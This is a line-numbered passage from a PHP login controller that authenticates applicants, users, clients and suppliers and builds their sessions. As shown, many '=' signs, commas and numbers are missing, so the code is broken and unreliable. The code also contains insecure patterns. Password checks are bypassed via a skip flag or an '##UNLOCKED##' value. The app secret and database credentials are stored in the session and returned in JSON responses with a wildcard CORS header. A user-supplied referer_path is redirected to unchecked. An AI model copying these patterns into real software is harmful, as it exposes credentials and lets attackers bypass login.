  2046.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2047.                             }
  2048.                             $user $client;
  2049.                         }
  2050.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2051.                         $em $this->getDoctrine()->getManager('company_group');
  2052.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2053.                         if ($oAuthData) {
  2054.                             $oAuthEmail $oAuthData['email'];
  2055.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2056.                             // Multi-email aware, injection-safe existence check. Replaces a
  2057.                             // hand-rolled comma-LIKE that both false-matched substrings
  2058.                             // (`LIKE '%email%'`) and interpolated the email straight into SQL.
  2059.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  2060.                             if (!$user)
  2061.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2062.                         } else {
  2063.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2064.                             if (!$user)
  2065.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  2066.                             if (!$user)
  2067.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2068.                         }
  2069.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2070. //                        if($systemType=='_BUDDYBEE_')
  2071. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2072.                         if (!$user) {
  2073.                             $message "We could not find your username or email";
  2074.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2075.                                 return new JsonResponse(array(
  2076.                                     'uid' => $session->get(UserConstants::USER_ID),
  2077.                                     'session' => $session,
  2078.                                     'success' => false,
  2079.                                     'errorStr' => $message,
  2080.                                     'session_data' => [],
  2081.                                 ));
  2082.                             }
  2083.                             if ($systemType == '_BUDDYBEE_')
  2084.                                 return $this->redirectToRoute("applicant_login", [
  2085.                                     "message" => $message,
  2086.                                     "errorField" => 'username',
  2087.                                 ]);
  2088.                             else if ($systemType == '_CENTRAL_')
  2089.                                 return $this->redirectToRoute("central_login", [
  2090.                                     "message" => $message,
  2091.                                     "errorField" => 'username',
  2092.                                 ]);
  2093.                             else if ($systemType == '_SOPHIA_')
  2094.                                 return $this->redirectToRoute("sophia_login", [
  2095.                                     "message" => $message,
  2096.                                     "errorField" => 'username',
  2097.                                 ]);
  2098.                             else
  2099.                                 return $this->render($redirect_login_page_twig, array(
  2100.                                     "message" => $message,
  2101.                                     'page_title' => "Login",
  2102.                                     'gocList' => $gocDataList,
  2103.                                     'gocId' => $gocId
  2104.                                 ));
  2105.                         }
  2106.                         if ($user) {
  2107.                             if ($oAuthData) {
  2108.                                 // user passed
  2109.                             } else {
  2110.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2111.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2112. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2113. //                                        // user passed
  2114. //                                    } else {
  2115.                                     $message "Oops! Wrong Password";
  2116.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2117.                                         return new JsonResponse(array(
  2118.                                             'uid' => $session->get(UserConstants::USER_ID),
  2119.                                             'session' => $session,
  2120.                                             'success' => false,
  2121.                                             'errorStr' => $message,
  2122.                                             'session_data' => [],
  2123.                                         ));
  2124.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2125.                                         //                    return $response;
  2126.                                     }
  2127.                                     if ($systemType == '_BUDDYBEE_')
  2128.                                         return $this->redirectToRoute("applicant_login", [
  2129.                                             "message" => $message,
  2130.                                             "errorField" => 'password',
  2131.                                         ]);
  2132.                                     else if ($systemType == '_CENTRAL_')
  2133.                                         return $this->redirectToRoute("central_login", [
  2134.                                             "message" => $message,
  2135.                                             "errorField" => 'username',
  2136.                                         ]);
  2137.                                     else if ($systemType == '_SOPHIA_')
  2138.                                         return $this->redirectToRoute("sophia_login", [
  2139.                                             "message" => $message,
  2140.                                             "errorField" => 'username',
  2141.                                         ]);
  2142.                                     else
  2143.                                         return $this->render($redirect_login_page_twig, array(
  2144.                                             "message" => $message,
  2145.                                             'page_title' => "Login",
  2146.                                             'gocList' => $gocDataList,
  2147.                                             'gocId' => $gocId
  2148.                                         ));
  2149.                                 }
  2150.                             }
  2151.                         }
  2152.                         $jd = [];
  2153.                         if ($jd != null && $jd != '' && $jd != [])
  2154.                             $company_id_list $jd;
  2155.                         else
  2156.                             $company_id_list = [];
  2157. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2158. //                        foreach ($company_id_list as $c) {
  2159. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2160. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2161. //                        }
  2162.                     };
  2163.                 } else {
  2164.                     if ($cookieLogin == 1) {
  2165.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2166.                             array(
  2167.                                 'userId' => $userId
  2168.                             )
  2169.                         );
  2170.                     } else if ($encrypedLogin == 1) {
  2171.                         if (in_array($userType, [34]))
  2172.                             $specialLogin 1;
  2173.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2174.                             $user null;
  2175.                             if ($clientId 0) {
  2176.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2177.                                     array(
  2178.                                         'clientId' => $clientId
  2179.                                     )
  2180.                                 );
  2181.                             }
  2182.                             if (!$user) {
  2183.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2184.                                     array(
  2185.                                         'globalUserId' => $globalId
  2186.                                     )
  2187.                                 );
  2188.                             }
  2189. //
  2190.                             if ($user)
  2191.                                 $userId $user->getClientId();
  2192.                             $clientId $userId;
  2193.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2194.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2195.                                 array(
  2196.                                     'globalUserId' => $globalId
  2197.                                 )
  2198.                             );
  2199. //
  2200.                             if ($user)
  2201.                                 $userId $user->getSupplierId();
  2202.                             $supplierId $userId;
  2203.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2204. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2205. //                                array(
  2206. //                                    'globalId' => $globalId
  2207. //                                )
  2208. //                            );
  2209. //
  2210. //                            if($user)
  2211. //                                $userId=$user->getUserId();
  2212. //                            $applicantId = $userId;
  2213.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2214.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2215.                                 array(
  2216.                                     'globalId' => $globalId
  2217.                                 )
  2218.                             );
  2219.                             if ($user)
  2220.                                 $userId $user->getUserId();
  2221.                         }
  2222.                     } else {
  2223.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2224.                             array(
  2225.                                 'userName' => $request->request->get('username')
  2226.                             )
  2227.                         );
  2228.                     }
  2229.                     if (!$user) {
  2230.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2231.                             array(
  2232.                                 'email' => $request->request->get('username'),
  2233.                                 'userName' => [null'']
  2234.                             )
  2235.                         );
  2236.                         if (!$user) {
  2237.                             $message "Wrong User Name";
  2238.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2239.                                 return new JsonResponse(array(
  2240.                                     'uid' => $session->get(UserConstants::USER_ID),
  2241.                                     'session' => $session,
  2242.                                     'success' => false,
  2243.                                     'errorStr' => $message,
  2244.                                     'session_data' => [],
  2245.                                 ));
  2246.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2247.                                 //                    return $response;
  2248.                             }
  2249.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2250.                                 "message" => $message,
  2251.                                 'page_title' => "Login",
  2252.                                 'gocList' => $gocDataList,
  2253.                                 'gocId' => $gocId
  2254.                             ));
  2255.                         } else {
  2256.                             //add the email as username as failsafe
  2257.                             $user->setUserName($request->request->get('username'));
  2258.                             $em->flush();
  2259.                         }
  2260.                     }
  2261.                     if ($user) {
  2262.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2263.                             $message "Sorry, Your Account is Deactivated";
  2264.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2265.                                 return new JsonResponse(array(
  2266.                                     'uid' => $session->get(UserConstants::USER_ID),
  2267.                                     'session' => $session,
  2268.                                     'success' => false,
  2269.                                     'errorStr' => $message,
  2270.                                     'session_data' => [],
  2271.                                 ));
  2272.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2273.                                 //                    return $response;
  2274.                             }
  2275.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2276.                                 "message" => $message,
  2277.                                 'page_title' => "Login",
  2278.                                 'gocList' => $gocDataList,
  2279.                                 'gocId' => $gocId
  2280.                             ));
  2281.                         }
  2282.                     }
  2283.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2284.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2285.                         $message "Wrong Email/Password";
  2286.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2287.                             return new JsonResponse(array(
  2288.                                 'uid' => $session->get(UserConstants::USER_ID),
  2289.                                 'session' => $session,
  2290.                                 'success' => false,
  2291.                                 'errorStr' => $message,
  2292.                                 'session_data' => [],
  2293.                             ));
  2294.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2295.                             //                    return $response;
  2296.                         }
  2297.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2298.                             "message" => $message,
  2299.                             'page_title' => "Login",
  2300.                             'gocList' => $gocDataList,
  2301.                             'gocId' => $gocId
  2302.                         ));
  2303.                     }
  2304.                     $userType $user->getUserType();
  2305.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2306.                     if ($jd != null && $jd != '' && $jd != [])
  2307.                         $company_id_list $jd;
  2308.                     else
  2309.                         $company_id_list = [$user->getUserCompanyId()];
  2310.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2311.                     foreach ($company_id_list as $c) {
  2312.                         if (isset($companyList[$c])) {
  2313.                             $company_name_list[$c] = $companyList[$c]['name'];
  2314.                             $company_image_list[$c] = $companyList[$c]['image'];
  2315.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2316.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2317.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2318.                         }
  2319.                     }
  2320.                 }
  2321. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2322.                 if ($remember_me == 1)
  2323.                     $session->set('REMEMBERME'1);
  2324.                 else
  2325.                     $session->set('REMEMBERME'0);
  2326.                 $config = array(
  2327.                     'firstLogin' => $firstLogin,
  2328.                     'rememberMe' => $remember_me,
  2329.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2330.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2331.                     'applicationSecret' => $this->container->getParameter('secret'),
  2332.                     'gocId' => $gocId,
  2333.                     'appId' => $appIdFromUserName,
  2334.                     'gocDbName' => $gocDbName,
  2335.                     'gocDbUser' => $gocDbUser,
  2336.                     'gocDbHost' => $gocDbHost,
  2337.                     'gocDbPass' => $gocDbPass
  2338.                 );
  2339.                 $product_name_display_type 0;
  2340.                 if ($systemType != '_CENTRAL_') {
  2341.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2342.                         'name' => 'product_name_display_method'
  2343.                     ));
  2344.                     if ($product_name_display_settings)
  2345.                         $product_name_display_type $product_name_display_settings->getData();
  2346.                 }
  2347.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2348.                     $userCompanyId 1;
  2349.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2350.                     if (isset($companyList[$userCompanyId])) {
  2351.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2352.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2353.                         $company_locale $companyList[$userCompanyId]['locale'];
  2354.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2355.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2356.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2357.                     }
  2358.                     // General User
  2359.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2360.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2361.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2362.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2363.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2364.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2365.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2366.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2367.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2368.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2369.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2370.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2371.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2372.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2373.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2374.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2375.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2376.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2377.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2378.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2379.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2380.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2381.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2382.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2383.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2384.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2385.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2386.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2387.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2388.                     //                $PL=json_decode($user->getPositionIds(), true);
  2389.                     $route_list_array = [];
  2390.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2391.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2392.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2393.                     $loginID 0;
  2394.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2395.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2396.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2397.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2398.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2399.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2400.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2401.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2402.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2403.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2404.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2405.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2406.                         $session->set('remoteVerified'1);
  2407.                         $session_data = array(
  2408.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2409.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2410.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2411.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2412.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2413.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2414.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2415.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2416.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2417.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2418.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2419.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2420.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2421.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2422.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2423.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2424.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2425.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2426.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2427.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2428.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2429.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2430.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2431.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2432.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2433.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2434.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2435.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2436.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2437.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2438.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2439.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2440.                         );
  2441.                         $session_data $this->filterClientSessionData($session_data);
  2442.                         $response = new JsonResponse(array(
  2443.                             'uid' => $session->get(UserConstants::USER_ID),
  2444.                             'session' => $session,
  2445.                             'success' => true,
  2446.                             'session_data' => $session_data,
  2447.                         ));
  2448.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2449.                         return $response;
  2450.                     }
  2451.                     if ($request->request->has('referer_path')) {
  2452.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2453.                             return $this->redirect($request->request->get('referer_path'));
  2454.                         }
  2455.                     }
  2456.                     //                    if($request->request->has('gocId')
  2457.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2458.                     return $this->redirectToRoute("supplier_dashboard");
  2459.                     //                    else
  2460.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2461.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2462.                     // General User
  2463.                     $userCompanyId 1;
  2464.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2465.                     if (isset($companyList[$userCompanyId])) {
  2466.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2467.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2468.                         $company_locale $companyList[$userCompanyId]['locale'];
  2469.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2470.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2471.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2472.                     }
  2473.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2474.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2475.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2476.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2477.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2478.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2479.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2480.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2481.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2482.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2483.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2484.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2485.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2486.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2487.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2488.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2489.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2490.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2491.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2492.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2493.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2494.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2495.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2496.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2497.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2498.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2499.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2500.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2501.                     //                $PL=json_decode($user->getPositionIds(), true);
  2502.                     $route_list_array = [];
  2503.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2504.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2505.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2506.                     $loginID 0;
  2507.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2508.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2509.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2510.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2511.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2512.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2513.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2514.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2515.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2516.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2517.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2518.                     $session_data = array(
  2519.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2520.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2521.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2522.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2523.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2524.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2525.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2526.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2527.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2528.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2529.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2530.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2531.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2532.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2533.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2534.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2535.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2536.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2537.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2538.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2539.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2540.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2541.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2542.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2543.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2544.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2545.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2546.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2547.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2548.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2549.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2550.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2551.                     );
  2552.                     $session_data $this->filterClientSessionData($session_data);
  2553.                     $session_data $this->filterClientSessionData($session_data);
  2554.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2555.                     $session_data $tokenData['sessionData'];
  2556.                     $token $tokenData['token'];
  2557.                     $session->set('token'$token);
  2558.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2559.                         $session->set('remoteVerified'1);
  2560.                         $response = new JsonResponse(array(
  2561.                             'uid' => $session->get(UserConstants::USER_ID),
  2562.                             'session' => $session,
  2563.                             'token' => $token,
  2564.                             'success' => true,
  2565.                             'session_data' => $session_data,
  2566.                         ));
  2567.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2568.                         return $response;
  2569.                     }
  2570.                     if ($request->request->has('referer_path')) {
  2571.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2572.                             return $this->redirect($request->request->get('referer_path'));
  2573.                         }
  2574.                     }
  2575.                     //                    if($request->request->has('gocId')
  2576.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2577.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2578.                     //                    else
